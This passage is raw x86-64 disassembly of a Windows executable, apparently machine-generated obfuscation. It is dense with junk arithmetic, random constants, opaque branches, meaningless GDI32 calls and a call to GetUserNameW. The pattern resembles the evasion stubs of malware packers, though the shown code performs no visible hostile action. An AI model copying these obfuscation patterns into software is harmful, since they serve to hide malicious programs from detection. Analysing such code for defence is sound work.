mov word [rsp + 0x780], ax
mov byte [rsp + 0xc3], 0x36
movabs rax, 0x4baf66624fc5a41e
mov qword [rsp + 0x3710], rax
movabs rax, 0xb575e1e85a1f02d7
mov qword [rsp + 0x3718], rax
movabs rax, 0x41eca1ac8542ab4d
mov qword [rsp + 0x3720], rax
mov byte [rsp + 0xc4], 0x5a
movabs rax, 0x1de9777d5dfdd75c
mov qword [rsp + 0x3728], rax
mov dword [rsp + 0x1cc4], 0x1e88b017
movabs rax, 0xf8d5a60932a8ae39
mov qword [rsp + 0x3730], rax
mov byte [rsp + 0xc5], SHSetInstanceExplorer
movabs rax, 0xc812aa49659a1b78
mov qword [rsp + 0x3738], rax
movabs rax, 0x504094965dea242e
mov qword [rsp + 0x3740], rax
mov dword [rsp + 0x1cc8], 0x61f3d5ad
mov dword [rsp + 0x1ccc], 0x70b10a88
movabs rax, 0x30ca5fabcf4e320e
mov qword [rsp + 0x3748], rax
movabs rax, 0x66f715e19688dca2
mov qword [rsp + 0x3750], rax
mov eax, 0x3b76
mov word [rsp + 0x784], ax
mov byte [rsp + 0xc6], 0x39
mov dword [rsp + 0x1cd0], 0x6e054dd
movabs rax, 0x3f1d16b1d58944b5
mov qword [rsp + 0x3758], rax
mov dword [rsp + 0x1cd4], 0x60bdec96
movabs rax, 0x269bff93d598f710
mov qword [rsp + 0x3760], rax
mov eax, 0x4d8
mov word [rsp + 0x788], ax
mov byte [rsp + 0xc7], 0x70
movabs rax, 0xe4674e092947100c
mov qword [rsp + 0x3768], rax
mov dword [rsp + 0x1cd8], 0x9c5cac52
mov dword [rsp + 0x1cdc], 0xd18ca2a
mov dword [rsp + 0x1ce0], 0x29e3ee85
mov byte [rsp + 0xc8], 0x89
movabs rax, 0x7bee3bbdcf1c4113
mov qword [rsp + 0x3770], rax
mov dword [rsp + 0x1ce4], 0x88b1dc03
mov eax, 0x501
mov word [rsp + 0x78c], ax
mov dword [rsp + 0x1ce8], 0x13265901
mov dword [rsp + 0x1cec], 0x6327fba3
mov byte [rsp + 0xc9], 0x5d
mov eax, 0xee4
mov word [rsp + 0x790], ax
mov dword [rsp + 0x1cf0], 0x41b4c4ce
movabs rax, 0x97816918c0e34e0f
mov qword [rsp + 0x3778], rax
mov dword [rsp + 0x1cf4], 0x1c754fb3
mov eax, 0x2db
mov word [rsp + 0x794], ax
mov eax, 0x5978
mov word [rsp + 0x798], ax
mov byte [rsp + 0xca], 0xc9
mov byte [rsp + 0xcb], 0xdf
mov byte [rsp + 0xcc], PathYetAnotherMakeUniqueName
mov eax, 0x31cd
mov word [rsp + 0x79c], ax
mov byte [rsp + 0xcd], 0x9c
mov eax, 0xda
mov word [rsp + 0x7a0], ax
movabs rax, 0x5a71b0fbef781fcb
mov qword [rsp + 0x3780], rax
movabs rax, 0xd6863cb0594745d0
mov qword [rsp + 0x3788], rax
mov dword [rsp + 0x1cf8], 0x7a43cd2a
movabs rax, 0xf05c8bb52726466a
mov qword [rsp + 0x3790], rax
mov eax, 0x272c
mov word [rsp + 0x7a4], ax
mov dword [rsp + 0x1cfc], 0x598e1665
movabs rax, 0x7032be3beef646a1
mov qword [rsp + 0x3798], rax
mov byte [rsp + 0xce], 0x5d
mov byte [rsp + 0xcf], ILAppendID
mov eax, 0xa49
mov word [rsp + 0x7a8], ax
movabs rax, 0x9ce6e824c3c4ade0
mov qword [rsp + 0x37a0], rax
mov byte [rsp + 0xd0], ILRemoveLastID
mov byte [rsp + 0xd1], ILAppendID
mov byte [rsp + 0xd2], 0x77
mov dword [rsp + 0x1d00], 0x92ae49fb
mov byte [rsp + 0xd3], 0xb6
movabs rax, 0x5554d697f3b56ca2
mov qword [rsp + 0x37a8], rax
mov byte [rsp + 0xd4], PathMakeUniqueName
mov eax, 0xa9
mov word [rsp + 0x7ac], ax
mov eax, 0x6d7d
mov word [rsp + 0x7b0], ax
mov dword [rsp + 0x1d04], 0x52ac594
mov dword [rsp + 0x1d08], 0xf3ab1df2
mov dword [rsp + 0x1d0c], 0xdc7aa781
mov dword [rsp + 0x1d10], 0xf944d835
mov eax, 0x4484
mov word [rsp + 0x7b4], ax
mov eax, 0x7cb
mov word [rsp + 0x7b8], ax
mov byte [rsp + 0xd5], 0x4d
movabs rax, 0xa055dbf1481e850e
mov qword [rsp + 0x37b0], rax
movabs rax, 0xe2179c5dc88dcf00
mov qword [rsp + 0x37b8], rax
mov byte [rsp + 0xd6], 0x42
mov byte [rsp + 0xd7], 0x4c
mov dword [rsp + 0x1d14], 0x2dac388f
mov eax, 0x520
mov word [rsp + 0x7bc], ax
mov eax, 0x2d07
mov word [rsp + 0x7c0], ax
mov dword [rsp + 0x1d18], 0x567f5444
movabs rax, 0x1902b3a6f8752ca
mov qword [rsp + 0x37c0], rax
mov byte [rsp + 0xd8], 0xa0
mov eax, 0x59dc
mov word [rsp + 0x7c4], ax
mov eax, 0x398
mov word [rsp + 0x7c8], ax
mov byte [rsp + 0xd9], 0x34
mov eax, 0xb00
mov word [rsp + 0x7cc], ax
movabs rax, 0x5545157b7128386a
mov qword [rsp + 0x37c8], rax
mov dword [rsp + 0x1d1c], 0x5a722b3c
movabs rax, 0x6706ed38c5ee85bd
mov qword [rsp + 0x37d0], rax
mov eax, 0x7616
mov word [rsp + 0x7d0], ax
mov dword [rsp + 0x1d20], 0x39f4b561
movabs rax, 0x2e2c836343b8901b
mov qword [rsp + 0x37d8], rax
movsx eax, byte [rsp + 0x68]
sub eax, 0x77
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x37d8]
mov qword [rsp + 0x37e0], rax
movabs rax, 0x2e2c836343b8901b
cmp qword [rsp + 0x37e0], rax
je 0x140002db7
movabs rax, 0x6f6477d027adbbad
cmp qword [rsp + 0x37e0], rax
je 0x140002d82
jmp 0x140002ea9
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x37e8]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x1d24], eax
movzx r8d, byte [rsp + 0x68]
movzx edx, byte [rsp + 0x68]
mov ecx, 0x39
call fcn.1400e49a0
nop
jmp 0x140002ea9
movabs rax, 0x6d15df4e57cf74b0
mov qword [rsp + 0x37f0], rax
movabs rax, 0xce02cd310dbc4654
cmp qword [rsp + 0x37f0], rax
ja 0x140002e9e
movabs rax, 0x8489b2b0e17449bb
mov rcx, qword [rsp + 0x37f0]
add rcx, rax
mov rax, rcx
movabs rcx, 0x9703d75152eba4b
cmp rax, rcx
ja 0x140002e2e
movsx eax, byte [rsp + 0x68]
and eax, 0x57
mov byte [rsp + 0x68], al
mov edx, 0x61
mov rcx, qword [rsp + 0x37f8]
call qword [sym.imp.GDI32.dll_SetStretchBltMode]
mov dword [rsp + 0x1d28], eax
mov rax, qword [rsp + 0x37f0]
mov qword [rsp + 0x3800], rax
movabs rax, 0x1e2c53adb0749ab4
cmp qword [rsp + 0x3800], rax
je 0x140002e54
jmp 0x140002e91
mov dword [rsp + 0x1d28], 0x6a2939e3
lea r8, [rsp + 0x37f0]
mov edx, reloc.SHELL32.dll_ILIsParent
mov rcx, qword [rsp + 0x3808]
call qword [sym.imp.GDI32.dll_GetBitmapBits]
mov dword [rsp + 0x1d2c], eax
mov eax, dword [rsp + 0x1d28]
mov dword [rsp + 0x1d2c], eax
jmp 0x140002e9e
lea rax, [rsp + 0x68]
mov qword [rsp + 0x3810], rax
mov dword [rsp + 0x1d30], 0x11909
mov rax, qword [rsp + 0x37d8]
mov qword [rsp + 0x3818], rax
mov dword [rsp + 0x1d34], 0x2562
cmp dword [rsp + 0x1d34], 0x2b43
je 0x1400031ab
mov rax, qword [rsp + 0x37f0]
shl rax, 1
mov qword [rsp + 0x37f0], rax
movsx eax, byte [rsp + 0x68]
sar eax, 1
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
xor eax, 0x3e
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
or eax, 0x13
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
sub eax, 0x40
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
and eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d28]
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d28]
sub eax, 0x7ef8d2fb
mov dword [rsp + 0x1d2c], eax
movsx eax, byte [rsp + 0x68]
add eax, 0x41
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
shl eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sar eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movabs rax, 0x1c23d1dad99bee73
mov rcx, qword [rsp + 0x3818]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x37d8], rax
movsx eax, byte [rsp + 0x68]
xor eax, 0x4a
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
and eax, 0x6b
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movabs rax, 0x1c1511e7e060f649
mov rcx, qword [rsp + 0x37f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
movsx eax, byte [rsp + 0x68]
sub eax, 0x11
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
add eax, 0x66
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
add eax, 0x4e
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
sub eax, 0x25
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d2c]
mov dword [rsp + 0x1d28], eax
movabs rax, 0xb07af25115484203
mov rcx, qword [rsp + 0x37f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov eax, dword [rsp + 0x1d34]
add eax, 0x2b
mov dword [rsp + 0x1d34], eax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
shl eax, 1
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
xor eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x37f0]
shr rax, 2
mov qword [rsp + 0x37f0], rax
jmp 0x140002ec4
mov eax, dword [rsp + 0x1d2c]
mov dword [rsp + 0x1d38], eax
movsx eax, byte [rsp + 0x68]
and eax, 0x2c
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
cmp eax, ecx
je 0x14000329a
movsx eax, byte [rsp + 0x68]
add eax, 0x62
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x37f0]
mov qword [rsp + 0x3820], rax
movabs rax, 0x63fea0f4e9dbdbfe
cmp qword [rsp + 0x3820], rax
je 0x14000327c
movabs rax, 0x6c5698138905ac17
cmp qword [rsp + 0x3820], rax
je 0x140003220
jmp 0x140003295
mov r9w, ILRemoveLastID
mov r8w, 0x75
mov dl, 0xdc
movzx ecx, byte [rsp + 0x68]
call fcn.1400e4f60
mov r9d, 0xe4
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x1d24]
mov rcx, qword [rsp + 0x3828]
call qword [sym.imp.GDI32.dll_PolyDraw]
mov dword [rsp + 0x1d3c], eax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
jmp 0x140003295
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d2c], eax
jmp 0x140003338
movabs rax, 0x8c2938e597f9622b
cmp qword [rsp + 0x37f0], rax
jae 0x140003338
mov rax, qword [rsp + 0x3818]
mov qword [rsp + 0x3830], rax
movabs rax, 0x4c3eaabe8f7779e1
cmp qword [rsp + 0x3830], rax
je 0x1400032d8
jmp 0x140003338
movsx eax, byte [rsp + 0x68]
add eax, 0x78
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movabs rax, 0x9de563169e12b3
mov rcx, qword [rsp + 0x3818]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37d8], rax
mov r8d, PathYetAnotherMakeUniqueName
mov edx, 0x8a
mov rcx, qword [rsp + 0x3838]
call qword [sym.imp.GDI32.dll_PtInRegion]
mov dword [rsp + 0x1d40], eax
mov dx, 0x6c
mov cx, 0x8e
call fcn.1400e4b00
nop
cmp dword [rsp + 0x1d30], 0xe961
jbe 0x140003725
movsx eax, byte [rsp + 0x68]
and eax, 0xe
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
xor eax, 0x78
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d28]
movzx ecx, al
mov eax, dword [rsp + 0x1d38]
shl eax, cl
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
sar eax, 6
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1d28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d2c], eax
movabs rax, 0x36b298ec69f91d57
mov rcx, qword [rsp + 0x3818]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x37d8], rax
movabs rax, 0x46af77e26dd39fdf
mov rcx, qword [rsp + 0x37f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
sub eax, 8
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
add eax, 0x5d
mov byte [rsp + 0x68], al
movsx eax, byte [rsp + 0x68]
sub eax, 0x3b
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movabs rax, 0x6d22af0b06fe6076
mov rcx, qword [rsp + 0x37f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
movabs rax, 0x4d1c04ff6aef604a
mov rcx, qword [rsp + 0x37f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
movsx eax, byte [rsp + 0x68]
xor eax, 0xc
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d30]
sub eax, 0xc8
mov dword [rsp + 0x1d30], eax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
shl eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movabs rax, 0x58f2fe6f0d171f8c
mov rcx, qword [rsp + 0x3818]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x37d8], rax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sar eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d38], eax
movabs rax, 0x1c411deaf93be66
mov rcx, qword [rsp + 0x37d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3818], rax
movabs rax, 0x66d93ee44475fbc5
mov rcx, qword [rsp + 0x37f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
sub eax, 0x4a
mov byte [rsp + 0x68], al
movabs rax, 0x2fd19e153e131c64
mov rcx, qword [rsp + 0x3818]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37d8], rax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
add eax, 0x4c
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
sub eax, 0x2b
mov byte [rsp + 0x68], al
movsx eax, byte [rsp + 0x68]
and eax, 0x23
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
sar eax, 2
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movabs rax, 0xcb32151a5b602be6
mov rcx, qword [rsp + 0x37f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
movsx eax, byte [rsp + 0x68]
shl eax, 6
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0x68]
or eax, 0x1e
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movabs rax, 0xabe32a3819ab61c8
mov rcx, qword [rsp + 0x37f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
movsx eax, byte [rsp + 0x68]
sub eax, 0x34
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
and eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
add eax, 6
mov byte [rsp + 0x68], al
jmp 0x140003338
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x1d44], al
cmp byte [rsp + 0x1d44], 0xf0
je 0x140003810
cmp byte [rsp + 0x1d44], 0x4c
je 0x14000374e
jmp 0x140003845
movabs rax, 0x5f4e872bf790663d
mov rcx, qword [rsp + 0x37d8]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x3818]
jg 0x1400037d4
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
lea r9, [rsp + 0x37d8]
mov r8d, 0xe7
mov edx, 0xa2
mov rcx, qword [rsp + 0x3840]
call qword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [rsp + 0x1d48], eax
movabs rax, 0xe0fd5cfa2eabdded
mov rcx, qword [rsp + 0x37f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
movsx eax, byte [rsp + 0x68]
sub eax, 0x5d
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
lea r9, [rsp + 0x1d4c]
mov r8d, 0xdb
mov edx, 0xed
mov rcx, qword [rsp + 0x3848]
call qword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [rsp + 0x1d4c], eax
jmp 0x140003845
lea rax, [rsp + 0x1d38]
mov qword [rsp + 0x3850], rax
mov eax, 0x227
mov word [rsp + 0x7d4], ax
mov dword [rsp + 0x1d50], 0xa810
mov eax, 0x776e
mov word [rsp + 0x7d8], ax
movsx eax, word [rsp + 0x7d8]
mov dword [rsp + 0x1d54], eax
cmp dword [rsp + 0x1d54], 0x1e1e
je 0x1400038ec
cmp dword [rsp + 0x1d54], 0x776e
je 0x140003877
jmp 0x140003908
lea rax, [rsp + 0x1d28]
mov qword [rsp + 0x3858], rax
mov dword [rsp + 0x1d58], 0xe1e7
lea rax, [rsp + 0x7d4]
mov qword [rsp + 0x3860], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x3868], rax
mov dword [rsp + 0x1d5c], 0x4dc9
movzx eax, word [rsp + 0x7d8]
mov word [rsp + 0x7dc], ax
movzx eax, word [rsp + 0x7d4]
mov word [rsp + 0x7e0], ax
mov rax, qword [rsp + 0x37f0]
mov qword [rsp + 0x3870], rax
jmp 0x140003908
mov rax, qword [rsp + 0x3860]
movzx edx, word [rax]
mov rax, qword [rsp + 0x3860]
movzx ecx, word [rax]
call fcn.1400e4b00
nop
movabs rax, 0xc1b06b82e23eed0
mov rcx, qword [rsp + 0x37d8]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x3818]
jl 0x140003a30
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7d4]
movzx ecx, word [rsp + 0x7e0]
or eax, ecx
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
cmp eax, ecx
jg 0x140003a2b
mov eax, dword [rsp + 0x1d48]
mov dword [rsp + 0x1d60], eax
cmp dword [rsp + 0x1d60], 0x19adaed1
je 0x140003a08
cmp dword [rsp + 0x1d60], 0x77a58c6c
je 0x14000399f
jmp 0x140003a2b
mov rax, qword [rsp + 0x3818]
shl rax, 0x2c
mov qword [rsp + 0x37d8], rax
lea r8, [rsp + 0x16160]
mov edx, 0xdc
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.GDI32.dll_GetOutlineTextMetricsW]
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x3850]
mov ecx, dword [rsp + 0x1d38]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3870]
shr rax, 0x32
mov qword [rsp + 0x37f0], rax
jmp 0x140003a2b
mov r8d, 0x35
lea rdx, [rsp + 0x3870]
mov rcx, qword [rsp + 0x3828]
call qword [sym.imp.GDI32.dll_PolylineTo]
mov dword [rsp + 0x1d40], eax
jmp 0x140003b39
mov eax, dword [rsp + 0x1d64]
mov dword [rsp + 0x1d68], eax
cmp dword [rsp + 0x1d68], 0x40ec99dd
je 0x140003a50
jmp 0x140003ae4
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
cdq
idiv ecx
movzx ecx, word [rsp + 0x7d4]
cmp eax, ecx
jl 0x140003ae2
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov dword [rsp + 0x1d6c], eax
cmp dword [rsp + 0x1d6c], 0xcce69e
je 0x140003acd
cmp dword [rsp + 0x1d6c], 0x25c17d90
je 0x140003a9f
jmp 0x140003ae2
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov dl, 0xda
movzx ecx, word [rsp + 0x7d8]
call fcn.1400e3770
nop
jmp 0x140003ae2
movsx eax, word [rsp + 0x7dc]
sub eax, 0x7c42
mov word [rsp + 0x7d8], ax
jmp 0x140003b39
lea rax, [rsp + 0x7d4]
mov qword [rsp + 0x3880], rax
movsx eax, word [rsp + 0x7dc]
movsx ecx, word [rsp + 0x7d8]
add eax, ecx
mov word [rsp + 0x644], ax
movzx eax, byte [section..data]
and eax, 0x43
mov byte [section..data], al
mov dword [rsp + 0x1d70], 0x2c1f
mov rax, qword [rsp + 0x37d8]
mov qword [rsp + 0x3888], rax
movabs rax, 0xd198ede37cd7084a
mov rcx, qword [rsp + 0x3870]
imul rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x37f0]
jb 0x1400e364f
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0xda], al
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0x7d8]
shl eax, cl
mov word [rsp + 0x7dc], ax
movzx eax, byte [section..data]
cmp eax, 0x99
jl 0x140003c41
mov eax, dword [rsp + 0x1d38]
mov dword [rsp + 0x1d74], eax
cmp dword [rsp + 0x1d74], 0x2b93646c
je 0x140003bc2
cmp dword [rsp + 0x1d74], 0x2e1cbcfa
je 0x140003c23
jmp 0x140003c3c
movzx eax, byte [section..data]
or eax, 0x5c
mov byte [section..data], al
mov rcx, qword [rsp + 0x37f8]
call qword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [rsp + 0x1d48], eax
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov edx, ILGetSize
mov rcx, qword [rsp + 0x3890]
call qword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [rsp + 0x1d4c], eax
jmp 0x140003c3c
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1d28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d2c], eax
jmp 0x140003d53
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xda]
xor ecx, edx
cmp eax, ecx
jl 0x140003d53
movzx eax, byte [section..data]
mov byte [rsp + 0x1d78], al
cmp byte [rsp + 0x1d78], 0x12
je 0x140003d3a
cmp byte [rsp + 0x1d78], 0x79
je 0x140003c9b
jmp 0x140003d53
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
lea rdx, [rsp + 0x3840]
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.GDI32.dll_GetViewportExtEx]
mov dword [rsp + 0x1d7c], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7d4], ax
mov r8d, 1
mov rdx, qword [rsp + 0x3898]
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.GDI32.dll_SelectPalette]
mov qword [rsp + 0x3898], rax
jmp 0x140003d53
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0xda]
and eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
cmp dword [rsp + 0x1d70], 0x1ec1
jbe 0x140003eba
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7e0], ax
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movzx eax, byte [section..data]
sub eax, 0xc1
mov byte [section..data], al
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov eax, dword [rsp + 0x1d28]
mov rcx, qword [rsp + 0x3850]
mov qword [rsp + 0x38a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x38a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d4c]
